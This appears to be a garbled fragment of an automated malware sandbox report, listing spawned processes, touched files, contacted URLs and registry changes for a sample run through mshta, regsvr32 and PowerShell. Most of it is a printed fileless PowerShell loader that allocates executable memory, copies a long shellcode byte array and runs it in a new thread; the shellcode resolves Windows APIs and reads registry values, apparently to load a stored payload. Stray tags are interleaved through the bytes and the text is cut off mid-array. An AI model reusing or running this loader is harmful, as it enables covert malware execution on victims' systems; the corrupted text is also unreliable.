<#gtn#>0x8B 0x75 0x0C 0x8B 0x4D 0x10 0xF3 0xA4 0x61 0x5D 0xC2 0x0C 0x00 0xAC 0x12 <#dsu#>0xD2 0xFE 0xFD <#yyf#>0x8C 0xEF 0x90 0x93 0xB9 0xE8 0x05 0x05 0xA0 0x0B <#bqv#>0xBE 0x51 0x50 0xB1 0x52 0x0A <#xtv#>0xCD 0xA6 0x0B 0x72 0xF3 0x99 0x18 0xB5 0xA5 0xF1 0x29 0x70 0xB2 0x49 0x9F 0x22 0x40 0x53 0xB5 0x4F 0x9E 0x0F 0x2A 0x61 0xD8 0x73 0x5E 0x8B 0x6F 0x0B 0xEB 0x4F 0xFB 0x14 0x27 0x56<#wt#>; #lvvwlo $pr=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll VirtualAlloc) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32]) ([UInt32])))).Invoke(0,$sc32.Length,0x3000,0x40); #qgtdftprsm if($pr -ne 0){$memset=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc msvcrt.dll memset) (gdelegate @([UInt32],[UInt32],[UInt32]) ([IntPtr])))); #lefbm for ($i=0;$i -le ($sc32.Length-1);$i++) {$memset.Invoke(($pr+$i) $sc32[$i] 1)}; #fgakdd ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32],[UInt32],[IntPtr]) ([IntPtr])))).Invoke(0,0,$pr,$pr,0,0); #vdgsgwt }sleep(1200);}catch{}exit; #zjkvnemqj #kakkngplvklusmfrgecfnnsjlp"), Spawned process "regsvr32.exe" (UID: 00014346-00003588), Spawned process "regsvr32.exe" (UID: 00014559-00002640)2d:T620,"" touched file "C:\Windows\SysWOW64\oleaccrc.dll" "" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "" touched file "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "" touched file "C:\Windows\SysWOW64\mshta.exe" "" touched file "C:\Windows\SysWOW64\rsaenh.dll" "mshta.exe" touched file "C:\Windows\System32\en-US\mshta.exe.mui" "mshta.exe" touched file "C:\Windows\System32\en-US\user32.dll.mui" "mshta.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "mshta.exe" touched file "C:\Windows\System32\en-US\msctf.dll.mui" "mshta.exe" touched file "C:\Windows\System32\rsaenh.dll" "mshta.exe" touched file "C:\Windows\System32\wshom.ocx" "mshta.exe" touched file "C:\Users\dKR8LGC\AppData\Local\Microsoft\Windows\Caches" "mshta.exe" touched file "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "mshta.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "mshta.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\cversions.1.db" "mshta.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db" "mshta.exe" touched file "%APPDATA%\Microsoft\Windows\Start Menu\desktop.ini" "mshta.exe" touched file "%APPDATA%\Microsoft\Windows\Start Menu\Programs\desktop.ini" "mshta.exe" touched file "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\desktop.ini" "mshta.exe" touched file "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\desktop.ini"2e:T1971,Pattern match: "www.microsoft.com" Pattern match: "https://validation.sls.microsoft.com/SLWGA/WatAdminTemplate.dll" Pattern match: "www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl0" Pattern match: "www.microsoft.com/pkiops/certs/MicSecSerCA2011_2011-10-18.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut2011_" Pattern match: "www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt0" Pattern match: "http://dmd.metaservices.microsoft.com/dms/metadata.svc" Pattern match: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata" Pattern match: "http://www.w3.org/2003/05/soap-envelope" Pattern match: "http://www.microsoft.com" Heuristic match: "GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?53e49ea6b93da5dc HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ctldl.windowsupdate.com" Pattern match: "https://validation.sls.microsoft.com/SLWGA/slwga.asmx" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "http://www.symauth.com/cps0*" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1503" Pattern match: "http://crl3.digicert.com/sha2-ha-cs-g1.crl0" Pattern match: "https://goo.gl/gVsWBN" Heuristic match: "*.google.com" Heuristic match: "*.android.com" Heuristic match: "*.appengine.google.com" Heuristic match: "*.cloud.google.com" Heuristic match: "*.db833953.google.cn" Heuristic match: "*.gcp.gvt2.com" Heuristic match: "*.google-analytics.com" Heuristic match: "*.google.ca" Heuristic match: "*.google.cl" Heuristic match: "*.google.co.in" Heuristic match: "*.google.co.jp" Heuristic match: "*.google.co.uk" Heuristic match: "*.google.com.ar" Heuristic match: "*.google.com.au" Heuristic match: "*.google.com.br" Heuristic match: "*.google.com.co" Heuristic match: "*.google.com.mx" Heuristic match: "*.google.com.tr" Heuristic match: "*.google.com.vn" Heuristic match: "*.google.de" Heuristic match: "*.google.es" Heuristic match: "*.google.fr" Heuristic match: "*.google.hu" Heuristic match: "*.google.it" Heuristic match: "*.google.nl" Heuristic match: "*.google.pl" Heuristic match: "*.google.pt" Heuristic match: "*.googleadapis.com" Heuristic match: "*.googleapis.cn" Heuristic match: "*.googlecommerce.com" Heuristic match: "*.googlevideo.com" Heuristic match: "*.gstatic.cn" Heuristic match: "*.gstatic.com" Heuristic match: "*.gvt1.com" Heuristic match: "*.gvt2.com" Heuristic match: "*.metric.gstatic.com" Heuristic match: "*.urchin.com" Heuristic match: "*.url.google.com" Heuristic match: "*.youtube-nocookie.com" Heuristic match: "*.youtube.com" Heuristic match: "*.youtubeeducation.com" Heuristic match: "*.ytimg.com" Heuristic match: "android.clients.google.com" Heuristic match: "android.com" Heuristic match: "developer.android.google.cn" Heuristic match: "developers.android.google.cn" Heuristic match: "google-analytics.com" Heuristic match: "google.com" Heuristic match: "googlecommerce.com" Heuristic match: "source.android.google.cn" Heuristic match: "urchin.com" Pattern match: "www.goo.gl" Heuristic match: "youtube.com" Heuristic match: "youtubeeducation.com" Pattern match: "http://pki.google.com/GIAG2.crt0+" Pattern match: "http://clients1.google.com/ocsp0" Pattern match: "http://pki.google.com/GIAG2.crl0" Pattern match: "http://g.symcd.com0" Pattern match: "http://g.symcb.com/crls/gtglobal.crl0" Pattern match: "http://crl.geotrust.com/crls/secureca.crl0N" Pattern match: "https://www.geotrust.com/resources/repository0" Heuristic match: "GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?a1953b95217d1345 HTTP/1.1Connection: Keep-AliveAccept: */*If-Modified-Since: Thu, 20 Apr 2017 16:02:20 GMTIf-None-Match: 04e707defb9d21:0User-Agent: Microsoft-CryptoAPI/6.1Hos" Heuristic match: "GET /crls/secureca.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.geotrust.com" Heuristic match: "GET /crls/secureca.crl HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.geotrust.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSxtDkXkBa3l3lQEfFgudSiPNvt7gQUAPkqw0GRtsnCuD5V8sCXEROgByACEAEAISWIsPpZp3fvBXtmJ98%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: g.symcd.com" Heuristic match: "GET /GIAG2.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: pki.google.com" Heuristic match: "GET /crls/gtglobal.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: g.symcb.com" Heuristic match: "GET /ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih%2BZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCHW9kptc4sEx HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: clients1.google.com" Heuristic match: "GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?79fa19be84bdd9f1 HTTP/1.1Connection: Keep-AliveAccept: */*If-Modified-Since: Thu, 20 Apr 2017 16:02:20 GMTIf-None-Match: 04e707defb9d21:0User-Agent: Microsoft-CryptoAPI/6.1Hos" Heuristic match: "GET /crls/gtglobal.crl HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: g.symcb.com" Heuristic match: "GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab?3199ab19d3179f65 HTTP/1.1Connection: Keep-AliveAccept: */*If-Modified-Since: Tue, 21 Nov 2017 20:34:45 GMTIf-None-Match: 80a0a12a863d31:0User-Agent: Microsoft-CryptoAPI/6.1Host: ctl" Heuristic match: "GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?b8b501f2b0628a69 HTTP/1.1Connection: Keep-AliveAccept: */*If-Modified-Since: Thu, 20 Apr 2017 16:02:20 GMTIf-None-Match: 04e707defb9d21:0User-Agent: Microsoft-CryptoAPI/6.1Hos" Heuristic match: "crl4.digicert.com" Heuristic match: "crl3.digicert.com" Heuristic match: "goo.gl" Pattern match: "http://crl.geotrust.com/crls/secureca.crl" Pattern match: "http://g.symcd.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSxtDkXkBa3l3lQEfFgudSiPNvt7gQUAPkqw0GRtsnCuD5V8sCXEROgByACEAEAISWIsPpZp3fvBXtmJ98" Pattern match: "http://g.symcb.com/crls/gtglobal.crl" Pattern match: "http://clients1.google.com/ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih%2BZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCHW9kptc" Pattern match: "http://pki.google.com/GIAG2.crl"2f:T902,"regsvr32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "regsvr32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "regsvr32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "regsvr32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "regsvr32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "regsvr32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "regsvr32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "regsvr32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "regsvr32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "regsvr32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "regsvr32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "regsvr32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "regsvr32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "regsvr32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "regsvr32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "regsvr32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "regsvr32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "regsvr32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "regsvr32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "regsvr32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS")30:T4884,Process "powershell.exe" with commandline "iex $env:otxpnze" (UID: 00012863-00004380, Additional Context: "#xnpoitpxrxgbgbnnt sleep(15);try{ #jdamygfkjo function gdelegate{ #ydadpj Param ([Parameter(Position=0,Mandatory=$True)] [Type[]] $Parameters [Parameter(Position=1)] [Type] $ReturnType=[Void]); #jywmuihh $TypeBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName("ReflectedDelegate")) [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule("InMemoryModule",$false).DefineType("XXX","Class,Public,Sealed,AnsiClass,AutoClass",[System.MulticastDelegate]); #kfcxx $TypeBuilder.DefineConstructor("RTSpecialName,HideBySig,Public",[System.Reflection.CallingConventions]::Standard,$Parameters).SetImplementationFlags("Runtime,Managed"); #wmdtoiqjy $TypeBuilder.DefineMethod("Invoke","Public,HideBySig,NewSlot,Virtual",$ReturnType,$Parameters).SetImplementationFlags("Runtime,Managed"); #ntbqrmjtby return $TypeBuilder.CreateType();} #vxdjhj function gproc{ #huqb Param ([Parameter(Position=0,Mandatory=$True)] [String] $Module [Parameter(Position=1,Mandatory=$True)] [String] $Procedure); #zjwtz $SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split("\")[-1].Equals("System.dll")}; #dlyqn $UnsafeNativeMethods=$SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods"); #uxpgpw return $UnsafeNativeMethods.GetMethod("GetProcAddress").Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr) $UnsafeNativeMethods.GetMethod("GetModuleHandle").Invoke($null,@($Module)))) $Procedure));} #kklifdr [Byte[]] $sc32 = 0x55 0x8B 0xEC 0x81 0xC4 0x00 0xFA 0xFF 0xFF 0x53 0x56 0x57 0x53 0x56 0x57 0xFC 0x31 0xD2 0x64 0x8B 0x52 0x30 0x8B 0x52 0x0C <#zto#>0x8B 0x52 0x14 0x8B 0x72 0x28 0x6A 0x18 0x59 0x31 0xFF 0x31 0xC0 0xAC 0x3C 0x61 <#rk#>0x7C 0x02 0x2C 0x20 0xC1 0xCF 0x0D 0x01 0xC7 0xE2 0xF0 0x81 <#in#>0xFF <#gtq#>0x5B 0xBC 0x4A <#xs#>0x6A 0x8B 0x5A 0x10 0x8B 0x12 0x75 0xDB 0x89 0x5D 0xFC 0x5F <#kcg#>0x5E <#srl#>0x5B 0x8B 0x45 0xFC 0x89 0x45 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0x0F 0x02 0x00 0x00 0x8B 0x45 0xFC 0x33 <#eyq#>0xD2 0x52 0x50 0x8B <#vbo#>0x45 0xD4 0x8B 0x40 <#xlj#>0x3C 0x99 0x03 0x04 0x24 0x13 0x54 0x24 <#kmn#>0x04 0x83 0xC4 0x08 0x89 0x45 0xD0 <#xao#>0x8B 0x45 0xD0 0x81 <#eio#>0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xE5 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 0x78 0x03 0x45 0xFC 0x89 0x45 0xCC 0x8B <#aaf#>0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F 0x8C 0xCB 0x01 0x00 0x00 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B <#aq#>0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 0x20 0x33 0xD2 0x52 0x50 0x8B <#lv#>0xC6 0xC1 0xE0 0x02 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x03 0x04 0x24 <#rj#>0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x8B 0x08 0x03 0x4D 0xFC 0x81 0x39 0x4C 0x6F 0x61 0x64 0x75 0x56 0x8D <#iu#>0x41 0x04 0x81 0x38 0x4C 0x69 0x62 0x72 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x61 0x72 0x79 0x41 0x75 0x40 0x8D <#if#>0x41 0x0C 0x80 0x38 0x00 <#wr#>0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 <#bi#>0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C <#fs#>0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xBC 0x81 0x39 0x47 0x65 0x74 0x50 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x72 0x6F 0x63 0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x64 0x64 <#hb#>0x72 0x65 0x75 0x40 <#jlu#>0x8D 0x41 0x0E 0x80 0x38 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 <#aps#>0x03 0x04 0x24 <#lgz#>0x13 0x54 0x24 0x04 <#wka#>0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xB8 0x81 0x39 0x56 0x69 0x72 0x74 0x75 <#jlc#>0x56 0x8D 0x41 0x04 0x81 0x38 0x75 0x61 0x6C 0x41 0x75 0x4B 0x8D 0x41 <#nj#>0x08 0x81 0x38 0x6C 0x6C 0x6F 0x63 0x75 0x40 0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 <#zj#>0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 <#ef#>0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xA8 0x81 0x39 0x45 0x78 0x69 0x74 0x75 0x63 0x8D 0x41 0x04 0x81 0x38 0x50 0x72 0x6F 0x63 0x75 0x58 0x8D 0x41 0x08 0x80 0x38 0x65 0x75 <#utj#>0x50 0x8D 0x41 0x09 0x80 0x38 0x73 0x75 0x48 0x8D 0x41 0x0A 0x80 0x38 0x73 0x75 0x40 <#nap#>0x83 0xC1 0x0B 0x80 0x39 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 <#yec#>0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B <#asc#>0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 <#sm#>0x8B 0x02 <#btl#>0x03 0x45 0xFC 0x89 0x45 0xA4 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x0F 0x85 0x3E 0xFE 0xFF 0xFF 0xC6 0x85 0x2F 0xFF 0xFF 0xFF 0x61 <#gz#>0xC6 <#sox#>0x85 0x30 0xFF 0xFF 0xFF 0x64 0xC6 0x85 0x31 0xFF 0xFF 0xFF 0x76 0xC6 0x85 0x32 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x33 0xFF 0xFF 0xFF 0x70 0xC6 0x85 0x34 0xFF 0xFF 0xFF 0x69 0xC6 0x85 0x35 0xFF 0xFF 0xFF 0x33 0xC6 0x85 0x36 0xFF <#at#>0xFF 0xFF 0x32 0xC6 <#gfu#>0x85 <#rfe#>0x37 0xFF 0xFF 0xFF 0x2E 0xC6 0x85 0x38 0xFF 0xFF 0xFF 0x64 0xC6 0x85 0x39 0xFF 0xFF 0xFF 0x6C 0xC6 0x85 0x3A 0xFF 0xFF 0xFF <#gfy#>0x6C 0xC6 0x85 0x3B 0xFF <#nmu#>0xFF 0xFF 0x00 <#xid#>0x8D 0x85 <#btr#>0x2F 0xFF 0xFF 0xFF 0x50 0xFF <#aj#>0x55 0xBC 0x8B 0xD8 0x85 0xDB 0x75 0x05 0x6A 0x00 0xFF 0x55 0xA4 0x89 0x5D 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0x4F 0x01 0x00 0x00 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B <#zxe#>0x40 0x3C 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x89 0x45 0xD0 0x8B <#orx#>0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 <#vc#>0x26 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 <#rv#>0x78 0x03 0xC3 0x89 0x45 0xCC 0x8B 0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F 0x8C 0x0D 0x01 0x00 0x00 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 <#laz#>0xF6 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 0x20 0x33 0xD2 0x52 0x50 0x8B 0xC6 0xC1 0xE0 0x02 0x99 <#qj#>0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x8B 0x08 0x03 0xCB 0x81 0x39 0x52 0x65 0x67 0x4F 0x75 0x5B 0x8D 0x41 0x04 0x81 0x38 0x70 0x65 0x6E 0x4B 0x75 0x50 <#th#>0x8D 0x41 0x08 0x81 <#ubr#>0x38 0x65 0x79 0x45 0x78 0x75 0x45 <#lfg#>0x8D 0x41 0x0C 0x80 0x38 0x41 <#tqb#>0x75 0x3D 0x8D 0x41 <#it#>0x0D 0x80 0x38 <#thz#>0x00 0x75 0x35 <#zok#>0x8B 0x45 <#ic#>0xCC 0x8B 0x40 0x24 0x03 0xC3 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 <#xdi#>0xD3 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 <#oot#>0x03 0xC3 0x89 0x45 0xB0 0x81 <#zax#>0x39 0x52 0x65 0x67 0x51 0x75 0x5E 0x8D 0x41 0x04 0x81 0x38 0x75 0x65 0x72 0x79 0x75 0x53 0x8D 0x41 0x08 0x81 0x38 <#ea#>0x56 0x61 0x6C 0x75 0x75 0x48 <#ser#>0x8D 0x41 0x0C 0x81 0x38 0x65 0x45 <#sd#>0x78 0x41 0x75 <#qkj#>0x3D 0x83 0xC1 0x10 0x80 0x39 0x00 0x75 0x35 0x8B 0x45 0xCC 0x8B 0x40 0x24 <#lxu#>0x03 0xC3 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 <#fwr#>0xD3 0x0F <#wgd#>0xB7 0xC0 0xC1 0xE0 0x02 <#dp#>0x03 <#vwq#>0xD0 0x8B 0x02 0x03 0xC3 0x89 0x45 0xAC 0x46 0xFF <#jea#>0x8D <#kh#>0x3C 0xFF <#na#>0xFF 0xFF 0x0F 0x85 0xFC 0xFE 0xFF 0xFF 0x8B 0x45 0x08 0x05 0x48 0x0A 0x00 0x00 0x89 <#dlt#>0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE4 <#cn#>0x00 0x00 0x00 0x89 0x85 0x78 0xFF 0xFF 0xFF 0x33 0xDB 0x33 0xC0 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x33 0xC0 0x89 0x85 <#ghk#>0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF 0xFF 0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF <#gx#>0x50 0x68 0x02 0x00 0x00 0x80 0xFF 0x55 0xB0 0x85 0xC0 0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF <#jo#>0xFF 0x50 0x6A 0x00 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 <#kov#>0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x5C 0x83 <#ppc#>0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 <#ye#>0x6A 0x40 0x68 <#bvo#>0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 0x89 0x85 <#kly#>0x64 0xFF 0xFF 0xFF <#cj#>0x83 <#uuj#>0xBD 0x64 0xFF 0xFF 0xFF 0x00 0x74 0x31 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B <#oya#>0x85 0x64 0xFF 0xFF <#jwk#>0xFF 0x50 <#uv#>0x8D 0x85 0x6C 0xFF 0xFF 0xFF <#jvk#>0x50 <#olx#>0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x02 0xB3 0x01 0x33 0xC0 0x89 0x85 0x70 0xFF 0xFF 0xFF 0x84 0xDB 0x0F 0x85 0xB8 0x00 <#qjq#>0x00 0x00 0x33 0xC0 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x33 0xC0 0x89 0x85 0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF 0xFF 0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x50 0x68 0x01 0x00 0x00 0x80 <#vsq#>0xFF 0x55 0xB0 0x85 0xC0 0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 0x6A 0x40 0x68 0x00 <#st#>0x30 <#zx#>0x00 0x00 0x8B 0x85 <#zqb#>0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x83 0xBD 0x64 0xFF 0xFF <#zfk#>0xFF 0x00 0x74 0x31 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 